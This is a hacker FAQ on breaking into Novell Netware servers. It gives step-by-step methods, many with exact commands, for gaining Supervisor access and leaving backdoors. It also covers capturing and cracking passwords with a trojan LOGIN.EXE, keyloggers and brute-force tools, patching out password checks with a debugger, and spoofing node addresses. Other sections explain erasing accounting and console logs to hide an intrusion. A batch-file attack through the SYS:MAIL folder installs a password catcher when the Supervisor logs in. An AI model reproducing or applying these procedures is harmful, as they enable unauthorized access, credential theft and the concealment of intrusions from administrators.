http://resudox.net/bio/mainpage.html in the Netware section.

Entire FAQ Online, and the reason Al has fits with his ISP ;-):

http://www.interlog.com/~apayne/nwhack.html

Section 01

Access to Accounts

01-1. What are common accounts and passwords in Novell Netware?

Out of the box Novell Netware has the following default accounts - SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have no password to start with. Virtually every installer quickly gives SUPERVISOR and ADMIN a password. However, many locations will create special purpose accounts that have easy-to-guess names, some with no passwords. Here are a few and their typical purposes:

Account	Purpose
PRINT	Attaching to a second server for printing
LASER	Attaching to a second server for printing
HPLASER	Attaching to a second server for printing
PRINTER	Attaching to a second server for printing
LASERWRITER	Attaching to a second server for printing
POST	Attaching to a second server for email
MAIL	Attaching to a second server for email

```
GATEWAY         Attaching a gateway machine to the server
GATE            Attaching a gateway machine to the server
ROUTER          Attaching an email router to the server
BACKUP          May have password/station restrictions (see below), used
          for backing up the server to a tape unit attached to a
          workstation. For complete backups, Supervisor equivalence
          is required.
WANGTEK         See BACKUP
FAX             Attaching a dedicated fax modem unit to the network
FAXUSER         Attaching a dedicated fax modem unit to the network
FAXWORKS        Attaching a dedicated fax modem unit to the network
TEST            A test user account for temp use
ARCHIVIST       Palidrome default account for backup
CHEY_ARCHSVR    An account for Arcserve to login to the server from
          from the console for tape backup. Version 5.01g's
          password was WONDERLAND. Delete the Station
          Restrictions and use SUPER.EXE to toggle this
          account and you have an excellent backdoor.
WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
          Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
          need this for resource sharing without a password.
```

This should give you an idea of accounts to try if you have access to a machine that attaches to the server. A way to "hide" yourself is to give GUEST or USER_TEMPLATE a password. Occassionally admins will check up on GUEST, but most forget about USER_TEMPLATE. In fact, _I_ forgot about USER_TEMPLATE until itsme reminded me.

01-2. How can I figure out valid account names on Novell Netware?

Any limited account should have enough access to allow you to run SYSCON, located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter. Now go to User Information and you will see a list of all defined accounts. You will not get much info with a limited account, but you can get the account and the user's full name.

If your in with any valid account, you can run USERLST.EXE and get a list of all valid account names on the server.

If you don't have access (maybe the sys admin deleted the GUEST account, a fairly common practice), you can't just try any account name at the LOGIN prompt. It will ask you for a password whether the account name is valid or not, and if it is valid and you guees the wrong password, you could be letting the world know what you're up to if Intruder Detection is on. But there is a way to determine if an account is valid.

From a DOS prompt use a local copy (on your handy floppy you carry everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through NETX or VLM, Try to map a drive using the server name and volume SYS:. For example:

```
MAP G:=TARGET_SERVER/SYS:APPS <enter>
```

Since you are not logged in, you will be prompted for a login ID. If it is a valid ID, you will be prompted for a password. If not, you will

immediately receive an error. Of course, if there is no password for the ID you use you will be attached and mapped to the server. You can do the same thing with ATTACH.EXE:

```
   ATTACH TARGET_SERVER/loginidtotry <enter>
```

The same thing will happen as the MAP command. If valid, you will be prompted for a password. If not, you get an error.

Another program to check for valid users and the presence of a password is CHKNULL.EXE by itsme. This program checks for users and whether they have a password assigned.

In 4.1 CHKNULL shows you every account with no password and you do not have to be logged in. For this to work bindery emulation must be on. But there is another way to get them in 4.1:

Once you load up the VLMs you may be able to view the entire tree, or at least all of the tree you could see if logged in. Try this:

```
      CX /T /A /R
```

During the installation of 4.1, [Public] has browse access to the entire tree because [Public] is added to [Root] as a Trustee. The Inherited Rights Filter flows this stuff down unless explicitly blocked. If you have the VLMs loaded and access to CX, you don't even have to log in, and you can get the name of virtually every account on the server.

01-3. What is the "secret" method to gain Supervisor access Novell used to teach
in CNE classes?

Before I start this section, let me recommend another solution, my God, ANY other solution is better than this! If you are running 3.x, jump to the end of this section.

The secret method is the method of using a DOS-based sector editor to edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives
you Supervisor and Guest with no passwords. The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

While you get a variety of answers from Novell about this technique, from it doesn't work to it is technically impossible, truth be it it can be done. Here
are the steps, as quoted from comp.os.netware.security, with my comments in [brackets]:

[start of quote]
A Netware Server is supposed to be a very safe place to keep your files. Only people with the right password will have access to the data stored there. The Supervisor (or Admin) user's password is usually the most well kept secret in

the company, since anyone that has that code could simply log to the server and
do anything he/she wants.

But what happens if this password is lost and there's no user that is security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process,
see section 02-3 - S.N.] What happens if the password system is somehow damaged
and no one can log to the network? According to the manual, there's simply no way out. You would have to reinstall the server and try to find your most recent
backup.

Fortunately, there is a very interesting way to gain complete access to a Netware
server without knowing the Supervisor's (or Admin's) password. You may imagine that you would have to learn complex decryption techniques or even type in a long
C program, but that's not the case. The trick is so simple and generic that it will work the same way for Netware 2.x, 3.x and 4.x.

The idea is to fool Netware to think that you have just installed the server and
that no security system has been estabilished yet. Just after a Netware 2.x or 3.x server is installed, the Supervisor's password is null and you can log in with no restriction. Netware 4.x works slightly differently, but it also allows
anyone to log in after the initial installation, since the installer is asked to
enter a password for the Admin user.

But how can you make the server think it has just been installed without actually reinstalling the server and losing all data on the disk? Simple. You just delete the files that contain the security system. In Netware 2.x, all security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and
NET$PROP.SYS). The all new Netware 4.x system stores all login names and passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS
and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).

One last question remains. How can we delete these files if we don't have access
to the network, anyway? The answer is, again, simple. Altough the people from Novell did a very good job encrypting passwords, they let all directory information easy to find and change if you can access the server's disk directly,
using common utilities like Norton's Disk Edit. Using this utility as an example,
I'll give a step-by-step procedure to make these files vanish. All you need is a
bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit program and some time near the server.

1. Boot the server and go to the DOS prompt. To do this, just let the network

boot normally and then use the DOWN and EXIT commands. This procedure does not work on old Netware 2.x servers and in some installations where DOS has been removed from memory. In those cases, you'll have to use a DOS bootable disk.

2. Run Norton's DiskEdit utility from drive A:

3. Select "Tools" in the main menu and then select "Configuration". At the configuration window, uncheck the "Read-Only" checkbox. And be very careful with
everything you type after this point.

4. Select "Object" and then "Drive". At the window, select the C: drive and make
sure you check the button "physical drive". After that, you'll be looking at your
physical disk and you be able to see (and change) everything on it.

5. Select "Tools" and then "Find". Here, you'll enter the name of the file you are trying to find. Use "NET$BIND" for Netware 2, "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a
place that is not the Netware directory. If the file names are not all near each
other and proportionaly separated by some unreadable codes (at least 32 bytes between them), then you it's not the place we are looking for. In that case, you'll have to keep searching by selecting "Tools" and then "Find again". [In Netware 3.x, you can change all occurences of the bindery files and it should still work okay, I've done it before. - S.N.]

6. You found the directory and you are ready to change it. Instead of deleting the files, you'll be renaming them. This will avoid problems with the directory
structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or "NDS" extension. Be extremely careful and don't change anything else.

7. Select "Tools" and then "Find again". Since Netware store the directory information in two different places, you have to find the other copy and change
it the same way. This will again prevent directory structure problems.

8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2
or 3, your server would be already accessible. Just go to any station and log in
as user Supervisor. No password will be asked. If you're running Netware 4, there
is one last step.

9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt)
and select the options to install the Directory Services. You be prompted for the
Admin password while doing this. After that, you may go to any station and log in
as user Admin, using the password that you have selected.

What I did with Norton's Disk Edit could be done with any disk editing utility

with a "Search" feature. This trick has helped me save many network supervisors
in the last years. I would just like to remind you that no one should break into
a netware server unless authorized to do it by the company that owns the server.
But you problably know that already.
[end of quote]

I actually had this typed up but kept changing it, so I stole this quote from the newsgroup to save me retyping ;-)

Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and downs the server. Reboot and you have Supe and Guest, no password.

01-4. What is the cheesy way to get Supervisor access?

The cheesy way is the way that will get you in, but it will be obvious to the server's admin that the server has been compromised. This technique works for 3.11.

Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account
on the server is made a supe equivalent, and 3) the sys admin is going to know very quickly something is wrong. What the admin will do is remove the supe rights
from all accounts that are not supposed to have it and change the Supervisor password back. The only thing you can do is leave a backdoor for yourself (see next question).

01-5. How do I leave a backdoor?

Once you are in, you want to leave a way back with supe equivalency. You can use
SUPER.EXE, written for the express purpose of allowing the non-supe user to toggle on and off supe equivalency. If you use the cheesy way in (previous question), you turn on the toggle before the admin removes your supe equivalency. If you gain access to a supe equivalent account, give Guest supe equivalency and then login as Guest and toggle it on. Now get back in as the original supe account and remove the supe equivalency. Now Guest can toggle on supe equivalency whenever it's convenient.

Of course Guest doesn't have to be used, it could be another account, like an account used for e-mail administration or an e-mail router, a gateway's account,
you get the idea.

Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix will give away that an account has been altered at the bindery level, but the only way for an admin to clear the error is to delete and rebuild the account.

Another backdoor is outlined in section 02-2 regarding the replacement

LOGIN.EXE
and PROP.EXE

01-6. I don't have SETPWD.NLM or a disk editor. How can I get Supe access?

If you have two volumes or some unallocated disk space you can use this hack to get Supe. Of course you need physical access but it works. I got this from a post in comp.os.security.netware

- Dismount all volumes
- Rename SYS: to SYSOLD:
- Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk
- Reboot server
- Mount SYS: and SYSOLD:
- Attach to server as Supervisor (Note: login not available)
- Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD
- Dismount volumes
- Rename volume back to correct names
- Reboot server
- Login as Supervisor, no password due to new bindery
- Run BINDREST
- You are currently logged in as Supe, you can create a new user as Supe equiv and use this new user to reset Supe's password, whatever.

Section 02

Passwords

02-1. How do I access the password file in Novell Netware?

Contrary to not-so-popular belief, access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows:

Netware version	File Names
2.x	NET$BIND.SYS, NET$BVAL.SYS
3.x	NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively.

In Netware 4.x, the files are physically located in a different location than on the SYS: volume. However, by using the RCONSOLE utility and using the

Scan Directory option, you can see the files in SYS:_NETWARE:

File	What it is
VALUE.NDS	Part of NDS
BLOCK.NDS	Part of NDS
ENTRY.NDS	Part of NDS
PARTITIO.NDS	Type of NDS partition (replica, master, etc.)
MLS.000	License
VALLINCEN.DAT	License validation

Here is another way to view these files, and potentially edit them. After installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than 4.0x, but in 4.1 you can still see the files by scanning directory entry numbers using NCP calls (you need the APIs for this) using function 0x17 subfunction 0xF3.

02-2. How do I crack Novell Netware passwords?

There are a few ways to approach this. First, we'll assume Intruder Detection is turned off. We'll also assume unencrypted passwords are allowed. Hopefully you won't have to deal with packet signature (see 07-11) Then we'll assume you have access to the console. Finally we'll assume you can plant some kind of password catcher. Access to a sniffer might help. These are a lot of ifs.

If Intruder Detection is off, you can use a "brute force" password cracker. See section 02-4 for details.

Encrypted passwords is Novell's way of protecting passwords from sniffers. Since older versions of Netware (2.15c) sent passwords as plain text over the wire, a sniffer could see the password as it went by. To secure things, Novell gave the administrator a way to control this. Later versions of the LOGIN.EXE program would encrypt the password before transmitting it across the wire to the server. But before this could happen, the shell (NETX) had to be updated. Since some locations had to have older shells and older versions of LOGIN.EXE to support older equipment, the administrator has the option of allowing unencrypted passwords to access the server. This is done by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping the server console every attempt! Fortunately most sites turn this switch on to
support some old device.

If you have access to the console, either by standing in front of it or by RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords.
Just load the NLM and pass it command line parameters:

NLM	Account(s) reset	Netware version(s) supported
SETSPASS.NLM	SUPERVISOR	3.x
SETSPWD.NLM	SUPERVISOR	3.x, 4.x
SETPWD.NLM	any valid account	3.x, 4.x

See 02-5 for more SETPWD.NLM info.

If you can plant a password catcher or keystroke reader, you can get them this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and normally you will not have access to put a file in that directory. The best place to put a keystroke capture program is in the workstation's path, with the ATTRIB set as hidden. The advantage is that you'll get the password and Netware won't know you swiped it. The disadvantage is getting access to the machine to do this. The very best place to put one of these capture programs is on a common machine, like a pcAnywhere box, which is used for remote access.
Many locations will allow pcAnywhere access to a machine with virtually no software on it, and control security access to the LAN by using Netware's security features. Uploading a keystroke capture program to a machine like this defeats this.

If the system is being backed up via a workstation, this can be used as a good entry point. These workstations have to have supe equiv to back up the bindery and other system files. If you can access this workstation or use the backup systems user account name then you can get supe level login.

itsme, the notorious Netherlands Netware hacker, developed KNOCK.EXE by rewriting one byte of ATTACH.EXE to try without a password to get into a server. KNOCK.EXE utilitzes a bug that allows a non-password attach to get in. This works on versions of Netware earlier than 2.2, and 3.11. Later versions have the bug fixed. Given enough time you will get in.

Another alternative is the replacement LOGIN.EXE by itsme. This jewel, coupled with PROP.EXE, will create a separate property in the bindery on a 2.x or 3.x server that contains the passwords. Here is the steps to use these powerful tools:

- Gain access to a workstation logged in as Supervisor or equivalent (or use another technique described elsewhere for getting this type of access)

- Run the PROP.EXE file with a -C option. This creates the new property for each bindery object. Remember, you must be a Supe for this step.

- Replace the LOGIN.EXE in the SYS:LOGIN directory with itsme's. Be sure to flag it SRO once replaced.

- Now it is set. Keep PROP.EXE on a floppy, and check the server with any valid login, Supervisor or not, after a week or two.

- To check the passwords captured, type PROP -R after your logged in. You can redirect it to a file or printer. A list of accounts and passwords, valid and working, are yours.

- Don't forget to hide your presence! See section 05-3 for details.

02-3. What is a "brute force" password cracker?

If Intruder Detection is off, you can just guess the password until you get it. This can be automated by using a program that continually guesses passwords, known as a "brute force" password cracker. One program that does

this is NOVELBFH.EXE (for version 3.x only). This program will try passwords like aa, ab, ac and so on until every legal character combination has been tried. You will eventually get the password. However this assumes you have 1) a lot of time since it takes a second or two for each try (more on a dial-up link), and 2) access to a machine that will run one of these programs for hours, even days. And if Intruder Detection is on you will be beeping the System Console every couple of seconds and time-stamping your node address to the File Server Error Log.

02-4. What is a "dictionary" password cracker?

For a password cracker that works against a single account and uses a dictionary wordlist, try NWPCRACK.EXE by Teiwaz. You must supply a dictionary wordlist (see the alt.2600/#hack FAQ for FTP sites with wordlists), and you are subject to the same limitations as NOVELBFH (no Intruder Detection, 3.x only) but it works great.

For a password cracker that works directly against either the .OLD bindery files left over after a BINDFIX or even a live bindery, look for BINDERY.ZIP. This ZIP contains BINDERY.EXE which will, among other things, extract user information out of bindery files into a Unix-style password text file. Then you can use BINCRACK.EXE from the same ZIP to "crack" the extracted text file. BINCRACK.EXE, like NWPCRACK.EXE, requires a word list. BINCRACK.EXE is extremely fast.

One interesting thing, the BINDERY.ZIP file also contains versions of BINCRACK for Solaris 1 and Solaris 2, so you can copy that extracted user info to a Sparc and do lightning-quick cracks.

For checking existing passwords for guessability, see section 07-9.

02-5. How do I use SETPWD.NLM?

You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use the Transfer Files To Server option and put the file in SYS:SYSTEM.

For 3.x:
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]

For 4.x:
set bindery context = [context, e.g. hack.corp.us]
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]

In 4.x the change is replicated so you have access to all the other servers in the tree. And don't forget, you must follow the password requirements in SYSCON for this to work. That is, if the account you are changing normally requires a 6 character password, then you'll need to supply a 6 character password.

02-6. What's the "debug" way to disable passwords?

You must be at the console to do this:

<left-shift><right-shift><alt><esc>   Enters Debugger
type "d VerifyPassword 6"   Write down 6 byte response for later use
type "c Verifypassword=B8 0 0 0 0 C3"   Sets system to turn off pword checks
type "g"   To make the system change and drop you back into the console

to turn password checking back on...

<left-shift><right-shift><alt><esc>   Enters Debugger
type "c VerifyPassword= xx xx xx xx xx xx"   Where xx's are the previous recorded numbers that where written down.
type "g"   To make system changes and drop you back to into the console

Teiwaz updated these steps to make things easier and workable.

02-7. Exactly how do passwords get encrypted?

The algorithm for 3.x and 4.x is, according to some sources, the same. It is a proprietary algorithm that is supposed to be one-way.

The following is a description of the source code located at the dutiws.twi.tudelft.nl site in the /pub/novell directory. The code was posted by Fauzan Mirza on sci.crypt for discussion, and produced the following bit-by-bit description in comp.os.netware.security by David Wagner (I've removed most of the flame comments):

```
encryptp(int id[4], char password[])
   char    buffer[32];

   concatenate password[] to itself until its at least 32 bytes long
   put the result in buffer[]
   concatenate id[] to itself until its at least 32 bytes long
   xor the result into buffer[]

   return encrypt(buffer[])

encrypt(char buf[32])
   nibble  output[32];     /* a nibble = 4 bits = half a byte */

   apply some complicated (but easily reversible!) function to buf[]
   for (i=0; i<32; i++)
      output[i] = S-box[buf[i]];
   return output[] /* a 16 byte return value */
```

where the S-box[] crunches 8 bit values down to 4 bit values.

So here's how to invert the password hash function, given the 16 byte hash output[] value:

```
   for (i=0; i<32; i++)
      pick any x such that S-box[x] == output[i] /* this is easy */
      buf[i] = x
   apply the reverse of the complicated function to buf[]
```

```
   concatenate id[] to itself..., and xor the result into buf[]

   use the resulting 32 byte buf[] as the inverse password
```

Of course, there are several nitpicking details which I've left out: if you're actually writing the inversion program, you have to make sure to take care of the details, but they only make the programming more complicated, they don't make the inversion process any slower once the program is written.

Also, there is the fact that the inverse password will include full 8-bit values, not just ASCII alphanumerics. Once could try to be a bit more sophisticated to ensure you get an inverse which is alphanumeric. I haven't bothered to think about this case too much -- it doesn't seem to be worth the neurotransmitters.

The reason you don't get the "true" "original" password is because when you pick 'x' above, you can't know which 'x' was the "true" "original" value, since the S-boxes throw away information.

Section 03

Accounting and Account Security

03-1. What is Accounting?

Accounting is Novell's pain in the butt way to control and manage access to the server in a way that is "accountable". The admin set up charge rates for blocks read and written, service requests, connect time, and disk storage. The account "pays" for the service by being given some number, and the accounting server deduces for these items. How the account actually pays for these items (departmental billing, cash, whatever) you may or may not want to know about, but the fact that it could be installed could leave a footprint that you've been there.

Any valid account, including non-supe accounts, can check to see if Accounting is turned on. Simply run SYSCON and try to access Accounting, if you get a message that Accounting is not installed, then guess what?

Since it is a pain to administer, many sys admins will turn it on simply to time-stamp each login and logout, track intruders, and include the node address and account name of each of these items.

03-2. How do I defeat Accounting?

Turn it off. And spoof your node address. Here's the steps -

- Spoof your address (see 03-6). Use a supe account's typical node address as your own.

- If you are using a backdoor, activate it with SUPER.EXE.

- Delete Accounting by running SYSCON, selecting Accounting, Accounting Servers, hitting the delete key, and answering yes when asked if you wish to delete accounting. The last entry in the NET$ACCT.DAT file will be your login time-stamped with the spoofed node address.

- Now do what you will in the system. Use a different account if you like, it won't show up in the log file.

- When done, login with the original account, run SYSCON and re-install Accounting. Immediately logout, and the next line in the NET$ACCT.DAT file will be your logout, showing a login and logout with the same account name, nice and neat.

If you can't spoof the address (some LAN cards don't allow it or require extra drivers you may not have), just turn off Accounting and leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM directory.

It should be noted that to turn off and on Accounting you need supe equivalent, but you don't need supe equivalence to spoof the address.

03-3. What is Intruder Detection?

Intruder Detection is Novell's way of tracking invalid password attempts. While this feature is turned off by default, most sites practicing any type of security will at minimum turn this feature on. There are several parameters to Intruder Detection. First, there is a setting for how long the server will remember a bad password attempt. Typically this is set to 30 minutes, but can be as short as 10 minutes of as long as 7 days. Then there is a setting for how many attempts will lockout the account. This is usually 3 attempts, but can be as short as 1 or as many as 7. Finally is the length the account is locked out. The default is 30 minutes but it can range from 10 minutes to 7 days.

When an Intruder Detection occurs, the server beeps and a time-stamped message is displayed on the System Console with the account name that is now locked out and the node address from where to attempt came from. This is also written to the File Server Error Log. A Supervisor or equivalent can unlock the account before it frees itself up, and the File Server Error Log can also be erased by a Supervisor or equivalent.

In a large shop, it is not unusual to see Intruder Lockouts even on a daily basis, and forgetting a password is a typical regular-user thing to do. Intruder Lockouts on Supervisor or equivalent account is usually noticed.

03-4. How do I check for Intruder Detection?

The easiest way to check for Intruder Detection is to play with a valid account that you know the password of. Try the wrong password several times. If Intruder Detection is on, the account will be locked out once you try to get back in with the correct password.

03-5. What are station/time restrictions?

Time restrictions can be placed on an account to limit the times in which an account can be logged in. In the account is already logged in and the time changes to a restricted time, the account is logged out. The restriction can be per weekday down to the half hour. That means that if an admin wants to restrict an account from logging in except on Monday through Friday from 8-5, it can be done. Only Supervisor and equivalents can alter time restrictions. Altering the time at the workstation will not get you around time restrictions, only altering time at the server can change the ability to access.

Station restriction place a restriction on _where_ an account can be used. Restrictions can be to a specific token ring or ethernet segment, and can be specific down to the MAC layer address, or node address. The only way around a station restriction at the node address is to spoof the address from a workstation on the same segment or ring as the address you are spoofing. Like time restrictions, only Supervisor and equivalents can alter station restrictions.

Of course you can remove station and time restrictions in SYSCON if you are a Supe equivalent.

03-6. How do I spoof my node or IP address?

This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function. Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.

For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network-related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.

Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same

network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.

Section 04

The Console

04-1. How do I defeat console logging?

Here you need console and Supervisor access. The site is running 3.11 or higher and running the CONLOG.NLM. Any site running this is trapping all console messages to a file. If you run SETPWD at the console, the response by SETPWD is written to a log file. Here's the steps for determining if it is running and what to do to defeat it:

- Type MODULES at the console. Look for the CONLOG.NLM. If it's there, it's running.

- Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a plain text file that you can type out. However you cannot delete or edit it while CONLOG is running.

- Unload CONLOG at the console.

- Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.

- Reload CONLOG. It will show that is has been restarted in the log.

- Check the CONSOLE.LOG file to ensure the owner has not changed.

- Run PURGE in the SYS:ETC directory to purge old versions of CONSOLE.LOG that your editor have left to be salvaged.

04-2. Can I set the RCONSOLE password to work for just Supervisor?

Yes and no. In version 3.x, the Supe password always works.

A common mistake regarding 3.x RCONSOLE passwords is to use a switch to use only the Supervisor password. It works like this:

LOAD REMOTE /P=

instead of

LOAD REMOTE RCONPASSWORD

The admin believes /P= turns off everything except the Supe password for

RCONSOLE. In fact the password is just set to /P= which will get you in!
The second most common mistake is using -S.

Version 4.1 is a bit different. Here's how it works:

- At the console prompt, type LOAD REMOTE SECRET where SECRET is the Remote Console password.

- Now type REMOTE ENCRYPT. You will be prompted for a password to encrypt.

- This will give you the encrypted version of the password, and give you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory, containing all the entries for loading Remote Console support.

- You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the LOAD REMOTE line in the AUTOEXEC.NCF as follows:

LOAD REMOTE SECRET

becomes

LOAD REMOTE -E 870B7E366363

04-3. How can I get around a locked MONITOR?

There is a simple and easy way to do this in 3.11 if you have a print server running on the file server. The following exploits a bug in 3.11:

- Use pconsole to down the print server. This causes the monitor screen to go to the print server screen and wait for you to press enter to exit the screen. At the same time it puts the monitor screen in the background.

- Switch to the console screen and type UNLOAD MONITOR.

- Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually reload the PSERVER.NLM.

Section 05

File and Directory Access

05-1. How can I see hidden files and directories?

Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.

05-2. How do I defeat the execute-only flag?

If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.

Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access.

To disable the check for Supe access in X-AWAY, try the following:

```
REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN WORK X-AWAY.EXE
```

Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides.

05-3. How can I hide my presence after altering files?

The best way is to use Filer. Here are the steps for removing file alterations -

- Run Filer or use NDIR and note the attributes of the target file, namely the date and owner of the file.

- Make your changes or access the file.

- Run Filer or use NDIR and check to see if the attributes have changed. If so, change them back to the original settings.

While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire.

05-4. What is a Netware-aware trojan?

A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.

- Trojan program is placed on a workstation, hopefully on one frequented by admins with Supe rights. The trojan program could be named something like CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension. They would be placed in the workstation's path.

- Once executed, the trojan uses API calls to determine if the person is logged in as a Supe equivalent, if not it goes to the next step. Otherwise

some type of action to breach security is performed.

- The real CHKVOL.EXE or VOLINFO.EXE is ran.

The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST.

Once activated the trojan could also erase itself since it is no longer needed.

05-5. What are Trustee Directory Assignments?

The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically
a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned
via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every
subdirectory below it (unless explicitly limited in a subdirectory down stream).
And these assignments are not located in the bindery, but on each volume.

The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ:

[quote]
A trustee is any user or group that has been granted access rights in a directory.

The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.

The following is a summary of access rights for NetWare 3.

S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access
right in every directory.

R - Read. Enables users to read files.

C - Create. Enables users to create files and directories. Unless they also have
write access, they will not be able to edit files which have been created.

W - Write. Enables users to make changes to files. Unless they also have create
access, they may not be able to edit files, since the write operation can only

be
used to extend files (not truncate them, which file editors need to do).

E - Erase. Enable users to erase files and remove directories.

M - Modify. Enable users to modify file attributes.

F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.

A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to
remove themselves (as trustees) from directories, thus losing all access control.

In addition to trustees and access rights, there is a concept of inherited rights
which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited
rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the
rights of the parent.
[end quote]

05-6. Are there any default Trustee Assignments that can be exploited?

Yes. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:

- Login as GUEST and change to the SYS:MAIL subdirectory.

- Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043)

- Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed.

- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043

- Create a batch file (ex. here is BOMB.BAT) with the following entries:

```
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
```

```
  COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  FLAG \LOGIN\LOGIN.EXE SRO > NUL
  \MAIL\C0003043\PROP -C > NUL

- Create a LOGIN file with the following entries:

  MAP DISPLAY OFF
  MAP ERRORS OFF
  MAP G:=SYS:
  DRIVE G:
  COMMAND /C #\MAIL\1\BOMB
  DRIVE F:
  MAP DELETE G:

- Now copy the files to the Supervisor's SYS:MAIL directory from a drive
mapped to the SYS: volume.

TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
TYPE LOGIN > \MAIL\1\LOGIN

- The next time the Supervisor logs in the LOGIN.EXE is replaced and the
PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the
passwords, and then once you have all the passwords you need (including
Supervisor) delete your LOGIN and BOMB.BAT file.

